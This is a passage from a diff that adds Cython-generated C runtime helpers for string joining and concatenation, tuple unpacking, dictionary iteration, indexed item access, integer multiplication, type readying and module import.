PyUnicode_2BYTE_KIND : PyUnicode_4BYTE_KIND; + kind_shift = (result_ukind == PyUnicode_4BYTE_KIND) ? 2 : result_ukind - 1; + result_udata = PyUnicode_DATA(result_uval); +#else + result_uval = PyUnicode_FromUnicode(NULL, result_ulength); + if (unlikely(!result_uval)) return NULL; + result_ukind = sizeof(Py_UNICODE); + kind_shift = (result_ukind == 4) ? 2 : result_ukind - 1; + result_udata = PyUnicode_AS_UNICODE(result_uval); +#endif + assert(kind_shift == 2 || kind_shift == 1 || kind_shift == 0); + char_pos = 0; + for (i=0; i < value_count; i++) { + int ukind; + Py_ssize_t ulength; + void *udata; + PyObject *uval = PyTuple_GET_ITEM(value_tuple, i); + if (unlikely(__Pyx_PyUnicode_READY(uval))) + goto bad; + ulength = __Pyx_PyUnicode_GET_LENGTH(uval); + if (unlikely(!ulength)) + continue; + if (unlikely((PY_SSIZE_T_MAX >> kind_shift) - ulength < char_pos)) + goto overflow; + ukind = __Pyx_PyUnicode_KIND(uval); + udata = __Pyx_PyUnicode_DATA(uval); + if (!CYTHON_PEP393_ENABLED || ukind == result_ukind) { + memcpy((char *)result_udata + (char_pos << kind_shift), udata, (size_t) (ulength << kind_shift)); + } else { + #if PY_VERSION_HEX >= 0x030d0000 + if (unlikely(PyUnicode_CopyCharacters(result_uval, char_pos, uval, 0, ulength) < 0)) goto bad; + #elif CYTHON_COMPILING_IN_CPYTHON && PY_VERSION_HEX >= 0x030300F0 || defined(_PyUnicode_FastCopyCharacters) + _PyUnicode_FastCopyCharacters(result_uval, char_pos, uval, 0, ulength); + #else + Py_ssize_t j; + for (j=0; j < ulength; j++) { + Py_UCS4 uchar = __Pyx_PyUnicode_READ(ukind, udata, j); + __Pyx_PyUnicode_WRITE(result_ukind, result_udata, char_pos+j, uchar); + } + #endif + } + char_pos += ulength; + } + return result_uval; +overflow: + PyErr_SetString(PyExc_OverflowError, "join() result is too long for a Python string"); +bad: + Py_DECREF(result_uval); + return NULL; +#else + CYTHON_UNUSED_VAR(max_char); + CYTHON_UNUSED_VAR(result_ulength); + CYTHON_UNUSED_VAR(value_count); + return PyUnicode_Join(__pyx_empty_unicode, value_tuple); +#endif +} + +/* UnicodeConcatInPlace */ + # if CYTHON_COMPILING_IN_CPYTHON && PY_MAJOR_VERSION >= 3 +static int +__Pyx_unicode_modifiable(PyObject *unicode) +{ + if (Py_REFCNT(unicode) != 1) + return 0; + if (!PyUnicode_CheckExact(unicode)) + return 0; + if (PyUnicode_CHECK_INTERNED(unicode)) + return 0; + return 1; +} +static CYTHON_INLINE PyObject *__Pyx_PyUnicode_ConcatInPlaceImpl(PyObject **p_left, PyObject *right + #if CYTHON_REFNANNY + , void* __pyx_refnanny + #endif + ) { + PyObject *left = *p_left; + Py_ssize_t left_len, right_len, new_len; + if (unlikely(__Pyx_PyUnicode_READY(left) == -1)) + return NULL; + if (unlikely(__Pyx_PyUnicode_READY(right) == -1)) + return NULL; + left_len = PyUnicode_GET_LENGTH(left); + if (left_len == 0) { + Py_INCREF(right); + return right; + } + right_len = PyUnicode_GET_LENGTH(right); + if (right_len == 0) { + Py_INCREF(left); + return left; + } + if (unlikely(left_len > PY_SSIZE_T_MAX - right_len)) { + PyErr_SetString(PyExc_OverflowError, + "strings are too large to concat"); + return NULL; + } + new_len = left_len + right_len; + if (__Pyx_unicode_modifiable(left) + && PyUnicode_CheckExact(right) + && PyUnicode_KIND(right) <= PyUnicode_KIND(left) + && !(PyUnicode_IS_ASCII(left) && !PyUnicode_IS_ASCII(right))) { + int ret; + __Pyx_GIVEREF(*p_left); + ret = PyUnicode_Resize(p_left, new_len); + __Pyx_GOTREF(*p_left); + if (unlikely(ret != 0)) + return NULL; + #if PY_VERSION_HEX >= 0x030d0000 + if (unlikely(PyUnicode_CopyCharacters(*p_left, left_len, right, 0, right_len) < 0)) return NULL; + #else + _PyUnicode_FastCopyCharacters(*p_left, left_len, right, 0, right_len); + #endif + __Pyx_INCREF(*p_left); + __Pyx_GIVEREF(*p_left); + return *p_left; + } else { + return __Pyx_PyUnicode_Concat(left, right); + } + } +#endif + +/* IterFinish */ + static CYTHON_INLINE int __Pyx_IterFinish(void) { + PyObject* exc_type; + __Pyx_PyThreadState_declare + __Pyx_PyThreadState_assign + exc_type = __Pyx_PyErr_CurrentExceptionType(); + if (unlikely(exc_type)) { + if (unlikely(!__Pyx_PyErr_GivenExceptionMatches(exc_type, PyExc_StopIteration))) + return -1; + __Pyx_PyErr_Clear(); + return 0; + } + return 0; +} + +/* PyObjectCallMethod0 */ + static PyObject* __Pyx_PyObject_CallMethod0(PyObject* obj, PyObject* method_name) { + PyObject *method = NULL, *result = NULL; + int is_method = __Pyx_PyObject_GetMethod(obj, method_name, &method); + if (likely(is_method)) { + result = __Pyx_PyObject_CallOneArg(method, obj); + Py_DECREF(method); + return result; + } + if (unlikely(!method)) goto bad; + result = __Pyx_PyObject_CallNoArg(method); + Py_DECREF(method); +bad: + return result; +} + +/* RaiseNeedMoreValuesToUnpack */ + static CYTHON_INLINE void __Pyx_RaiseNeedMoreValuesError(Py_ssize_t index) { + PyErr_Format(PyExc_ValueError, + "need more than %" CYTHON_FORMAT_SSIZE_T "d value%.1s to unpack", + index, (index == 1) ? "" : "s"); +} + +/* RaiseTooManyValuesToUnpack */ + static CYTHON_INLINE void __Pyx_RaiseTooManyValuesError(Py_ssize_t expected) { + PyErr_Format(PyExc_ValueError, + "too many values to unpack (expected %" CYTHON_FORMAT_SSIZE_T "d)", expected); +} + +/* UnpackItemEndCheck */ + static int __Pyx_IternextUnpackEndCheck(PyObject *retval, Py_ssize_t expected) { + if (unlikely(retval)) { + Py_DECREF(retval); + __Pyx_RaiseTooManyValuesError(expected); + return -1; + } + return __Pyx_IterFinish(); +} + +/* RaiseNoneIterError */ + static CYTHON_INLINE void __Pyx_RaiseNoneNotIterableError(void) { + PyErr_SetString(PyExc_TypeError, "'NoneType' object is not iterable"); +} + +/* UnpackTupleError */ + static void __Pyx_UnpackTupleError(PyObject *t, Py_ssize_t index) { + if (t == Py_None) { + __Pyx_RaiseNoneNotIterableError(); + } else if (PyTuple_GET_SIZE(t) < index) { + __Pyx_RaiseNeedMoreValuesError(PyTuple_GET_SIZE(t)); + } else { + __Pyx_RaiseTooManyValuesError(index); + } +} + +/* UnpackTuple2 */ + static CYTHON_INLINE int __Pyx_unpack_tuple2_exact( + PyObject* tuple, PyObject** pvalue1, PyObject** pvalue2, int decref_tuple) { + PyObject *value1 = NULL, *value2 = NULL; +#if CYTHON_COMPILING_IN_PYPY + value1 = PySequence_ITEM(tuple, 0); if (unlikely(!value1)) goto bad; + value2 = PySequence_ITEM(tuple, 1); if (unlikely(!value2)) goto bad; +#else + value1 = PyTuple_GET_ITEM(tuple, 0); Py_INCREF(value1); + value2 = PyTuple_GET_ITEM(tuple, 1); Py_INCREF(value2); +#endif + if (decref_tuple) { + Py_DECREF(tuple); + } + *pvalue1 = value1; + *pvalue2 = value2; + return 0; +#if CYTHON_COMPILING_IN_PYPY +bad: + Py_XDECREF(value1); + Py_XDECREF(value2); + if (decref_tuple) { Py_XDECREF(tuple); } + return -1; +#endif +} +static int __Pyx_unpack_tuple2_generic(PyObject* tuple, PyObject** pvalue1, PyObject** pvalue2, + int has_known_size, int decref_tuple) { + Py_ssize_t index; + PyObject *value1 = NULL, *value2 = NULL, *iter = NULL; + iternextfunc iternext; + iter = PyObject_GetIter(tuple); + if (unlikely(!iter)) goto bad; + if (decref_tuple) { Py_DECREF(tuple); tuple = NULL; } + iternext = __Pyx_PyObject_GetIterNextFunc(iter); + value1 = iternext(iter); if (unlikely(!value1)) { index = 0; goto unpacking_failed; } + value2 = iternext(iter); if (unlikely(!value2)) { index = 1; goto unpacking_failed; } + if (!has_known_size && unlikely(__Pyx_IternextUnpackEndCheck(iternext(iter), 2))) goto bad; + Py_DECREF(iter); + *pvalue1 = value1; + *pvalue2 = value2; + return 0; +unpacking_failed: + if (!has_known_size && __Pyx_IterFinish() == 0) + __Pyx_RaiseNeedMoreValuesError(index); +bad: + Py_XDECREF(iter); + Py_XDECREF(value1); + Py_XDECREF(value2); + if (decref_tuple) { Py_XDECREF(tuple); } + return -1; +} + +/* dict_iter */ + #if CYTHON_COMPILING_IN_PYPY && PY_MAJOR_VERSION >= 3 +#include +#endif +static CYTHON_INLINE PyObject* __Pyx_dict_iterator(PyObject* iterable, int is_dict, PyObject* method_name, + Py_ssize_t* p_orig_length, int* p_source_is_dict) { + is_dict = is_dict || likely(PyDict_CheckExact(iterable)); + *p_source_is_dict = is_dict; + if (is_dict) { +#if !CYTHON_COMPILING_IN_PYPY + *p_orig_length = PyDict_Size(iterable); + Py_INCREF(iterable); + return iterable; +#elif PY_MAJOR_VERSION >= 3 + static PyObject *py_items = NULL, *py_keys = NULL, *py_values = NULL; + PyObject **pp = NULL; + if (method_name) { + const char *name = PyUnicode_AsUTF8(method_name); + if (strcmp(name, "iteritems") == 0) pp = &py_items; + else if (strcmp(name, "iterkeys") == 0) pp = &py_keys; + else if (strcmp(name, "itervalues") == 0) pp = &py_values; + if (pp) { + if (!*pp) { + *pp = PyUnicode_FromString(name + 4); + if (!*pp) + return NULL; + } + method_name = *pp; + } + } +#endif + } + *p_orig_length = 0; + if (method_name) { + PyObject* iter; + iterable = __Pyx_PyObject_CallMethod0(iterable, method_name); + if (!iterable) + return NULL; +#if !CYTHON_COMPILING_IN_PYPY + if (PyTuple_CheckExact(iterable) || PyList_CheckExact(iterable)) + return iterable; +#endif + iter = PyObject_GetIter(iterable); + Py_DECREF(iterable); + return iter; + } + return PyObject_GetIter(iterable); +} +static CYTHON_INLINE int __Pyx_dict_iter_next( + PyObject* iter_obj, CYTHON_NCP_UNUSED Py_ssize_t orig_length, CYTHON_NCP_UNUSED Py_ssize_t* ppos, + PyObject** pkey, PyObject** pvalue, PyObject** pitem, int source_is_dict) { + PyObject* next_item; +#if !CYTHON_COMPILING_IN_PYPY + if (source_is_dict) { + PyObject *key, *value; + if (unlikely(orig_length != PyDict_Size(iter_obj))) { + PyErr_SetString(PyExc_RuntimeError, "dictionary changed size during iteration"); + return -1; + } + if (unlikely(!PyDict_Next(iter_obj, ppos, &key, &value))) { + return 0; + } + if (pitem) { + PyObject* tuple = PyTuple_New(2); + if (unlikely(!tuple)) { + return -1; + } + Py_INCREF(key); + Py_INCREF(value); + PyTuple_SET_ITEM(tuple, 0, key); + PyTuple_SET_ITEM(tuple, 1, value); + *pitem = tuple; + } else { + if (pkey) { + Py_INCREF(key); + *pkey = key; + } + if (pvalue) { + Py_INCREF(value); + *pvalue = value; + } + } + return 1; + } else if (PyTuple_CheckExact(iter_obj)) { + Py_ssize_t pos = *ppos; + if (unlikely(pos >= PyTuple_GET_SIZE(iter_obj))) return 0; + *ppos = pos + 1; + next_item = PyTuple_GET_ITEM(iter_obj, pos); + Py_INCREF(next_item); + } else if (PyList_CheckExact(iter_obj)) { + Py_ssize_t pos = *ppos; + if (unlikely(pos >= PyList_GET_SIZE(iter_obj))) return 0; + *ppos = pos + 1; + next_item = PyList_GET_ITEM(iter_obj, pos); + Py_INCREF(next_item); + } else +#endif + { + next_item = PyIter_Next(iter_obj); + if (unlikely(!next_item)) { + return __Pyx_IterFinish(); + } + } + if (pitem) { + *pitem = next_item; + } else if (pkey && pvalue) { + if (__Pyx_unpack_tuple2(next_item, pkey, pvalue, source_is_dict, source_is_dict, 1)) + return -1; + } else if (pkey) { + *pkey = next_item; + } else { + *pvalue = next_item; + } + return 1; +} + +/* GetItemInt */ + static PyObject *__Pyx_GetItemInt_Generic(PyObject *o, PyObject* j) { + PyObject *r; + if (unlikely(!j)) return NULL; + r = PyObject_GetItem(o, j); + Py_DECREF(j); + return r; +} +static CYTHON_INLINE PyObject *__Pyx_GetItemInt_List_Fast(PyObject *o, Py_ssize_t i, + CYTHON_NCP_UNUSED int wraparound, + CYTHON_NCP_UNUSED int boundscheck) { +#if CYTHON_ASSUME_SAFE_MACROS && !CYTHON_AVOID_BORROWED_REFS + Py_ssize_t wrapped_i = i; + if (wraparound & unlikely(i < 0)) { + wrapped_i += PyList_GET_SIZE(o); + } + if ((!boundscheck) || likely(__Pyx_is_valid_index(wrapped_i, PyList_GET_SIZE(o)))) { + PyObject *r = PyList_GET_ITEM(o, wrapped_i); + Py_INCREF(r); + return r; + } + return __Pyx_GetItemInt_Generic(o, PyInt_FromSsize_t(i)); +#else + return PySequence_GetItem(o, i); +#endif +} +static CYTHON_INLINE PyObject *__Pyx_GetItemInt_Tuple_Fast(PyObject *o, Py_ssize_t i, + CYTHON_NCP_UNUSED int wraparound, + CYTHON_NCP_UNUSED int boundscheck) { +#if CYTHON_ASSUME_SAFE_MACROS && !CYTHON_AVOID_BORROWED_REFS + Py_ssize_t wrapped_i = i; + if (wraparound & unlikely(i < 0)) { + wrapped_i += PyTuple_GET_SIZE(o); + } + if ((!boundscheck) || likely(__Pyx_is_valid_index(wrapped_i, PyTuple_GET_SIZE(o)))) { + PyObject *r = PyTuple_GET_ITEM(o, wrapped_i); + Py_INCREF(r); + return r; + } + return __Pyx_GetItemInt_Generic(o, PyInt_FromSsize_t(i)); +#else + return PySequence_GetItem(o, i); +#endif +} +static CYTHON_INLINE PyObject *__Pyx_GetItemInt_Fast(PyObject *o, Py_ssize_t i, int is_list, + CYTHON_NCP_UNUSED int wraparound, + CYTHON_NCP_UNUSED int boundscheck) { +#if CYTHON_ASSUME_SAFE_MACROS && !CYTHON_AVOID_BORROWED_REFS && CYTHON_USE_TYPE_SLOTS + if (is_list || PyList_CheckExact(o)) { + Py_ssize_t n = ((!wraparound) | likely(i >= 0)) ? i : i + PyList_GET_SIZE(o); + if ((!boundscheck) || (likely(__Pyx_is_valid_index(n, PyList_GET_SIZE(o))))) { + PyObject *r = PyList_GET_ITEM(o, n); + Py_INCREF(r); + return r; + } + } + else if (PyTuple_CheckExact(o)) { + Py_ssize_t n = ((!wraparound) | likely(i >= 0)) ? i : i + PyTuple_GET_SIZE(o); + if ((!boundscheck) || likely(__Pyx_is_valid_index(n, PyTuple_GET_SIZE(o)))) { + PyObject *r = PyTuple_GET_ITEM(o, n); + Py_INCREF(r); + return r; + } + } else { + PyMappingMethods *mm = Py_TYPE(o)->tp_as_mapping; + PySequenceMethods *sm = Py_TYPE(o)->tp_as_sequence; + if (mm && mm->mp_subscript) { + PyObject *r, *key = PyInt_FromSsize_t(i); + if (unlikely(!key)) return NULL; + r = mm->mp_subscript(o, key); + Py_DECREF(key); + return r; + } + if (likely(sm && sm->sq_item)) { + if (wraparound && unlikely(i < 0) && likely(sm->sq_length)) { + Py_ssize_t l = sm->sq_length(o); + if (likely(l >= 0)) { + i += l; + } else { + if (!PyErr_ExceptionMatches(PyExc_OverflowError)) + return NULL; + PyErr_Clear(); + } + } + return sm->sq_item(o, i); + } + } +#else + if (is_list || !PyMapping_Check(o)) { + return PySequence_GetItem(o, i); + } +#endif + return __Pyx_GetItemInt_Generic(o, PyInt_FromSsize_t(i)); +} + +/* PyIntBinop */ + #if !CYTHON_COMPILING_IN_PYPY +static PyObject* __Pyx_PyInt_MultiplyObjC(PyObject *op1, PyObject *op2, long intval, int inplace, int zerodivision_check) { + CYTHON_MAYBE_UNUSED_VAR(intval); + CYTHON_MAYBE_UNUSED_VAR(inplace); + CYTHON_UNUSED_VAR(zerodivision_check); + #if PY_MAJOR_VERSION < 3 + if (likely(PyInt_CheckExact(op1))) { + const long b = intval; + long a = PyInt_AS_LONG(op1); + +#ifdef HAVE_LONG_LONG + if (sizeof(PY_LONG_LONG) > sizeof(long)) { + PY_LONG_LONG result = (PY_LONG_LONG)a * (PY_LONG_LONG)b; + return (result >= LONG_MIN && result <= LONG_MAX) ? + PyInt_FromLong((long)result) : PyLong_FromLongLong(result); + } +#endif +#if CYTHON_USE_TYPE_SLOTS + return PyInt_Type.tp_as_number->nb_multiply(op1, op2); +#else + return PyNumber_Multiply(op1, op2); +#endif + } + #endif + #if CYTHON_USE_PYLONG_INTERNALS + if (likely(PyLong_CheckExact(op1))) { + const long b = intval; + long a, x; +#ifdef HAVE_LONG_LONG + const PY_LONG_LONG llb = intval; + PY_LONG_LONG lla, llx; +#endif + if (unlikely(__Pyx_PyLong_IsZero(op1))) { + return __Pyx_NewRef(op1); + } + if (likely(__Pyx_PyLong_IsCompact(op1))) { + a = __Pyx_PyLong_CompactValue(op1); + } else { + const digit* digits = __Pyx_PyLong_Digits(op1); + const Py_ssize_t size = __Pyx_PyLong_SignedDigitCount(op1); + switch (size) { + case -2: + if (8 * sizeof(long) - 1 > 2 * PyLong_SHIFT+30) { + a = -(long) (((((unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0])); + break; + #ifdef HAVE_LONG_LONG + } else if (8 * sizeof(PY_LONG_LONG) - 1 > 2 * PyLong_SHIFT+30) { + lla = -(PY_LONG_LONG) (((((unsigned PY_LONG_LONG)digits[1]) << PyLong_SHIFT) | (unsigned PY_LONG_LONG)digits[0])); + goto long_long; + #endif + } + CYTHON_FALLTHROUGH; + case 2: + if (8 * sizeof(long) - 1 > 2 * PyLong_SHIFT+30) { + a = (long) (((((unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0])); + break; + #ifdef HAVE_LONG_LONG + } else if (8 * sizeof(PY_LONG_LONG) - 1 > 2 * PyLong_SHIFT+30) { + lla = (PY_LONG_LONG) (((((unsigned PY_LONG_LONG)digits[1]) << PyLong_SHIFT) | (unsigned PY_LONG_LONG)digits[0])); + goto long_long; + #endif + } + CYTHON_FALLTHROUGH; + case -3: + if (8 * sizeof(long) - 1 > 3 * PyLong_SHIFT+30) { + a = -(long) (((((((unsigned long)digits[2]) << PyLong_SHIFT) | (unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0])); + break; + #ifdef HAVE_LONG_LONG + } else if (8 * sizeof(PY_LONG_LONG) - 1 > 3 * PyLong_SHIFT+30) { + lla = -(PY_LONG_LONG) (((((((unsigned PY_LONG_LONG)digits[2]) << PyLong_SHIFT) | (unsigned PY_LONG_LONG)digits[1]) << PyLong_SHIFT) | (unsigned PY_LONG_LONG)digits[0])); + goto long_long; + #endif + } + CYTHON_FALLTHROUGH; + case 3: + if (8 * sizeof(long) - 1 > 3 * PyLong_SHIFT+30) { + a = (long) (((((((unsigned long)digits[2]) << PyLong_SHIFT) | (unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0])); + break; + #ifdef HAVE_LONG_LONG + } else if (8 * sizeof(PY_LONG_LONG) - 1 > 3 * PyLong_SHIFT+30) { + lla = (PY_LONG_LONG) (((((((unsigned PY_LONG_LONG)digits[2]) << PyLong_SHIFT) | (unsigned PY_LONG_LONG)digits[1]) << PyLong_SHIFT) | (unsigned PY_LONG_LONG)digits[0])); + goto long_long; + #endif + } + CYTHON_FALLTHROUGH; + case -4: + if (8 * sizeof(long) - 1 > 4 * PyLong_SHIFT+30) { + a = -(long) (((((((((unsigned long)digits[3]) << PyLong_SHIFT) | (unsigned long)digits[2]) << PyLong_SHIFT) | (unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0])); + break; + #ifdef HAVE_LONG_LONG + } else if (8 * sizeof(PY_LONG_LONG) - 1 > 4 * PyLong_SHIFT+30) { + lla = -(PY_LONG_LONG) (((((((((unsigned PY_LONG_LONG)digits[3]) << PyLong_SHIFT) | (unsigned PY_LONG_LONG)digits[2]) << PyLong_SHIFT) | (unsigned PY_LONG_LONG)digits[1]) << PyLong_SHIFT) | (unsigned PY_LONG_LONG)digits[0])); + goto long_long; + #endif + } + CYTHON_FALLTHROUGH; + case 4: + if (8 * sizeof(long) - 1 > 4 * PyLong_SHIFT+30) { + a = (long) (((((((((unsigned long)digits[3]) << PyLong_SHIFT) | (unsigned long)digits[2]) << PyLong_SHIFT) | (unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0])); + break; + #ifdef HAVE_LONG_LONG + } else if (8 * sizeof(PY_LONG_LONG) - 1 > 4 * PyLong_SHIFT+30) { + lla = (PY_LONG_LONG) (((((((((unsigned PY_LONG_LONG)digits[3]) << PyLong_SHIFT) | (unsigned PY_LONG_LONG)digits[2]) << PyLong_SHIFT) | (unsigned PY_LONG_LONG)digits[1]) << PyLong_SHIFT) | (unsigned PY_LONG_LONG)digits[0])); + goto long_long; + #endif + } + CYTHON_FALLTHROUGH; + default: return PyLong_Type.tp_as_number->nb_multiply(op1, op2); + } + } + CYTHON_UNUSED_VAR(a); + CYTHON_UNUSED_VAR(b); + #ifdef HAVE_LONG_LONG + lla = a; + goto long_long; + #else + return PyLong_Type.tp_as_number->nb_multiply(op1, op2); + #endif + return PyLong_FromLong(x); +#ifdef HAVE_LONG_LONG + long_long: + llx = lla * llb; + return PyLong_FromLongLong(llx); +#endif + + + } + #endif + if (PyFloat_CheckExact(op1)) { + const long b = intval; +#if CYTHON_COMPILING_IN_LIMITED_API + double a = __pyx_PyFloat_AsDouble(op1); +#else + double a = PyFloat_AS_DOUBLE(op1); +#endif + double result; + + PyFPE_START_PROTECT("multiply", return NULL) + result = ((double)a) * (double)b; + PyFPE_END_PROTECT(result) + return PyFloat_FromDouble(result); + } + return (inplace ? PyNumber_InPlaceMultiply : PyNumber_Multiply)(op1, op2); +} +#endif + +/* PyObjectLookupSpecial */ + #if CYTHON_USE_PYTYPE_LOOKUP && CYTHON_USE_TYPE_SLOTS +static CYTHON_INLINE PyObject* __Pyx__PyObject_LookupSpecial(PyObject* obj, PyObject* attr_name, int with_error) { + PyObject *res; + PyTypeObject *tp = Py_TYPE(obj); +#if PY_MAJOR_VERSION < 3 + if (unlikely(PyInstance_Check(obj))) + return with_error ? __Pyx_PyObject_GetAttrStr(obj, attr_name) : __Pyx_PyObject_GetAttrStrNoError(obj, attr_name); +#endif + res = _PyType_Lookup(tp, attr_name); + if (likely(res)) { + descrgetfunc f = Py_TYPE(res)->tp_descr_get; + if (!f) { + Py_INCREF(res); + } else { + res = f(res, obj, (PyObject *)tp); + } + } else if (with_error) { + PyErr_SetObject(PyExc_AttributeError, attr_name); + } + return res; +} +#endif + +/* RaiseUnboundLocalError */ + static CYTHON_INLINE void __Pyx_RaiseUnboundLocalError(const char *varname) { + PyErr_Format(PyExc_UnboundLocalError, "local variable '%s' referenced before assignment", varname); +} + +/* ReturnWithStopIteration */ + static void __Pyx__ReturnWithStopIteration(PyObject* value) { + PyObject *exc, *args; +#if CYTHON_COMPILING_IN_CPYTHON + __Pyx_PyThreadState_declare + if (PY_VERSION_HEX >= 0x030C00A6 + || unlikely(PyTuple_Check(value) || PyExceptionInstance_Check(value))) { + args = PyTuple_New(1); + if (unlikely(!args)) return; + Py_INCREF(value); + PyTuple_SET_ITEM(args, 0, value); + exc = PyType_Type.tp_call(PyExc_StopIteration, args, NULL); + Py_DECREF(args); + if (!exc) return; + } else { + Py_INCREF(value); + exc = value; + } + #if CYTHON_FAST_THREAD_STATE + __Pyx_PyThreadState_assign + #if CYTHON_USE_EXC_INFO_STACK + if (!__pyx_tstate->exc_info->exc_value) + #else + if (!__pyx_tstate->exc_type) + #endif + { + Py_INCREF(PyExc_StopIteration); + __Pyx_ErrRestore(PyExc_StopIteration, exc, NULL); + return; + } + #endif +#else + args = PyTuple_Pack(1, value); + if (unlikely(!args)) return; + exc = PyObject_Call(PyExc_StopIteration, args, NULL); + Py_DECREF(args); + if (unlikely(!exc)) return; +#endif + PyErr_SetObject(PyExc_StopIteration, exc); + Py_DECREF(exc); +} + +/* ValidateBasesTuple */ + #if CYTHON_COMPILING_IN_CPYTHON || CYTHON_COMPILING_IN_LIMITED_API || CYTHON_USE_TYPE_SPECS +static int __Pyx_validate_bases_tuple(const char *type_name, Py_ssize_t dictoffset, PyObject *bases) { + Py_ssize_t i, n; +#if CYTHON_ASSUME_SAFE_MACROS + n = PyTuple_GET_SIZE(bases); +#else + n = PyTuple_Size(bases); + if (n < 0) return -1; +#endif + for (i = 1; i < n; i++) + { +#if CYTHON_AVOID_BORROWED_REFS + PyObject *b0 = PySequence_GetItem(bases, i); + if (!b0) return -1; +#elif CYTHON_ASSUME_SAFE_MACROS + PyObject *b0 = PyTuple_GET_ITEM(bases, i); +#else + PyObject *b0 = PyTuple_GetItem(bases, i); + if (!b0) return -1; +#endif + PyTypeObject *b; +#if PY_MAJOR_VERSION < 3 + if (PyClass_Check(b0)) + { + PyErr_Format(PyExc_TypeError, "base class '%.200s' is an old-style class", + PyString_AS_STRING(((PyClassObject*)b0)->cl_name)); +#if CYTHON_AVOID_BORROWED_REFS + Py_DECREF(b0); +#endif + return -1; + } +#endif + b = (PyTypeObject*) b0; + if (!__Pyx_PyType_HasFeature(b, Py_TPFLAGS_HEAPTYPE)) + { + __Pyx_TypeName b_name = __Pyx_PyType_GetName(b); + PyErr_Format(PyExc_TypeError, + "base class '" __Pyx_FMT_TYPENAME "' is not a heap type", b_name); + __Pyx_DECREF_TypeName(b_name); +#if CYTHON_AVOID_BORROWED_REFS + Py_DECREF(b0); +#endif + return -1; + } + if (dictoffset == 0) + { + Py_ssize_t b_dictoffset = 0; +#if CYTHON_USE_TYPE_SLOTS || CYTHON_COMPILING_IN_PYPY + b_dictoffset = b->tp_dictoffset; +#else + PyObject *py_b_dictoffset = PyObject_GetAttrString((PyObject*)b, "__dictoffset__"); + if (!py_b_dictoffset) goto dictoffset_return; + b_dictoffset = PyLong_AsSsize_t(py_b_dictoffset); + Py_DECREF(py_b_dictoffset); + if (b_dictoffset == -1 && PyErr_Occurred()) goto dictoffset_return; +#endif + if (b_dictoffset) { + { + __Pyx_TypeName b_name = __Pyx_PyType_GetName(b); + PyErr_Format(PyExc_TypeError, + "extension type '%.200s' has no __dict__ slot, " + "but base type '" __Pyx_FMT_TYPENAME "' has: " + "either add 'cdef dict __dict__' to the extension type " + "or add '__slots__ = [...]' to the base type", + type_name, b_name); + __Pyx_DECREF_TypeName(b_name); + } +#if !(CYTHON_USE_TYPE_SLOTS || CYTHON_COMPILING_IN_PYPY) + dictoffset_return: +#endif +#if CYTHON_AVOID_BORROWED_REFS + Py_DECREF(b0); +#endif + return -1; + } + } +#if CYTHON_AVOID_BORROWED_REFS + Py_DECREF(b0); +#endif + } + return 0; +} +#endif + +/* PyType_Ready */ + static int __Pyx_PyType_Ready(PyTypeObject *t) { +#if CYTHON_USE_TYPE_SPECS || !(CYTHON_COMPILING_IN_CPYTHON || CYTHON_COMPILING_IN_LIMITED_API) || defined(PYSTON_MAJOR_VERSION) + (void)__Pyx_PyObject_CallMethod0; +#if CYTHON_USE_TYPE_SPECS + (void)__Pyx_validate_bases_tuple; +#endif + return PyType_Ready(t); +#else + int r; + PyObject *bases = __Pyx_PyType_GetSlot(t, tp_bases, PyObject*); + if (bases && unlikely(__Pyx_validate_bases_tuple(t->tp_name, t->tp_dictoffset, bases) == -1)) + return -1; +#if PY_VERSION_HEX >= 0x03050000 && !defined(PYSTON_MAJOR_VERSION) + { + int gc_was_enabled; + #if PY_VERSION_HEX >= 0x030A00b1 + gc_was_enabled = PyGC_Disable(); + (void)__Pyx_PyObject_CallMethod0; + #else + PyObject *ret, *py_status; + PyObject *gc = NULL; + #if PY_VERSION_HEX >= 0x030700a1 && (!CYTHON_COMPILING_IN_PYPY || PYPY_VERSION_NUM+0 >= 0x07030400) + gc = PyImport_GetModule(__pyx_kp_u_gc); + #endif + if (unlikely(!gc)) gc = PyImport_Import(__pyx_kp_u_gc); + if (unlikely(!gc)) return -1; + py_status = __Pyx_PyObject_CallMethod0(gc, __pyx_kp_u_isenabled); + if (unlikely(!py_status)) { + Py_DECREF(gc); + return -1; + } + gc_was_enabled = __Pyx_PyObject_IsTrue(py_status); + Py_DECREF(py_status); + if (gc_was_enabled > 0) { + ret = __Pyx_PyObject_CallMethod0(gc, __pyx_kp_u_disable); + if (unlikely(!ret)) { + Py_DECREF(gc); + return -1; + } + Py_DECREF(ret); + } else if (unlikely(gc_was_enabled == -1)) { + Py_DECREF(gc); + return -1; + } + #endif + t->tp_flags |= Py_TPFLAGS_HEAPTYPE; +#if PY_VERSION_HEX >= 0x030A0000 + t->tp_flags |= Py_TPFLAGS_IMMUTABLETYPE; +#endif +#else + (void)__Pyx_PyObject_CallMethod0; +#endif + r = PyType_Ready(t); +#if PY_VERSION_HEX >= 0x03050000 && !defined(PYSTON_MAJOR_VERSION) + t->tp_flags &= ~Py_TPFLAGS_HEAPTYPE; + #if PY_VERSION_HEX >= 0x030A00b1 + if (gc_was_enabled) + PyGC_Enable(); + #else + if (gc_was_enabled) { + PyObject *tp, *v, *tb; + PyErr_Fetch(&tp, &v, &tb); + ret = __Pyx_PyObject_CallMethod0(gc, __pyx_kp_u_enable); + if (likely(ret || r == -1)) { + Py_XDECREF(ret); + PyErr_Restore(tp, v, tb); + } else { + Py_XDECREF(tp); + Py_XDECREF(v); + Py_XDECREF(tb); + r = -1; + } + } + Py_DECREF(gc); + #endif + } +#endif + return r; +#endif +} + +/* Import */ + static PyObject *__Pyx_Import(PyObject *name, PyObject *from_list, int level) { + PyObject *module = 0; + PyObject *empty_dict = 0; + PyObject *empty_list = 0; + #if PY_MAJOR_VERSION < 3 + PyObject *py_import; + py_import = __Pyx_PyObject_GetAttrStr(__pyx_b, __pyx_n_s_import); + if (unlikely(!py_import)) + goto bad; + if (!from_list) { + empty_list = PyList_New(0); + if (unlikely(!empty_list)) + goto bad; + from_list = empty_list; + } + #endif + empty_dict = PyDict_New(); + if (unlikely(!empty_dict)) + goto bad; + { + #if PY_MAJOR_VERSION >= 3 + if (level == -1) { + if (strchr(__Pyx_MODULE_NAME, '.') != NULL) { + module = PyImport_ImportModuleLevelObject( + name, __pyx_d, empty_dict, from_list, 1); + if (unlikely(!module)) 